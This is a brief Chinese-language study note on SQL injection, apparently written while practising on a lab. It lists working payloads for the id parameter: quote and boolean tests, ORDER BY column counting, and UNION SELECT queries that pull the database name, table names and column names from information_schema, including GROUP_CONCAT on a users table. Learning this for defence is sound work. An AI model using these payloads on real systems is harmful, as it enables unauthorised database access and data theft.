SQL注入漏洞学习简记

SQL注入漏洞危害 

id=1 and 1 = 1--+
id=1 and 1 = 2--+
id=1' and 1 = 1--+
id=1' and 1 = 2--+

可以用来判断是字符型注入/数字型注入

id=1' order by 3 --+
id=1' order by 4 --+

这些SQL注入语句中的 order by 子句用于对结果进行排序，而排序的字段编号是从 1 开始的。如果在 order by 子句中指定了一个大于当前查询结果字段数的数字，则数据库会返回一个错误，这表明当前查询的字段数目小于指定的字段编号。

?id=-1' union select 1,database(),3 --+

这里的1，3仅充当占位符号，保证union的列相同

这个SQL注入语句的目的是利用 UNION SELECT 连接两个 SELECT 查询的结果，从而泄露数据库信息。具体来说，它使用 database() 函数获取当前数据库的名称，并将其作为查询结果的一部分返回。因此，如果在查询结果中看到了数据库名称，则说明注入成功。

以下是一种可能的检测方法：

1. 将注入语句作为查询发送到目标服务器。

2. 检查查询结果是否包含一个数字为 1 和另一个数字为 3 的行。如果存在这样的行，则说明注入成功。

3. 如果注入成功，将查询改为 ?id=-1' union select 1,2,table_name from information_schema.tables --+，这样就可以获取当前数据库中所有表的名称。

4. 逐个尝试获取每个表的列名，方法是将查询改为 ?id=-1' union select 1,2,column_name from information_schema.columns where table_name='table_name_here' --+，其中 table_name_here 是要查询列名的表的名称。

5. 如果想要使多列名于一行显示可以用下面代码

   ?id=-1' union select 1,2,GROUP_CONCAT(column_name) from information_schema.columns where table_name='users' --+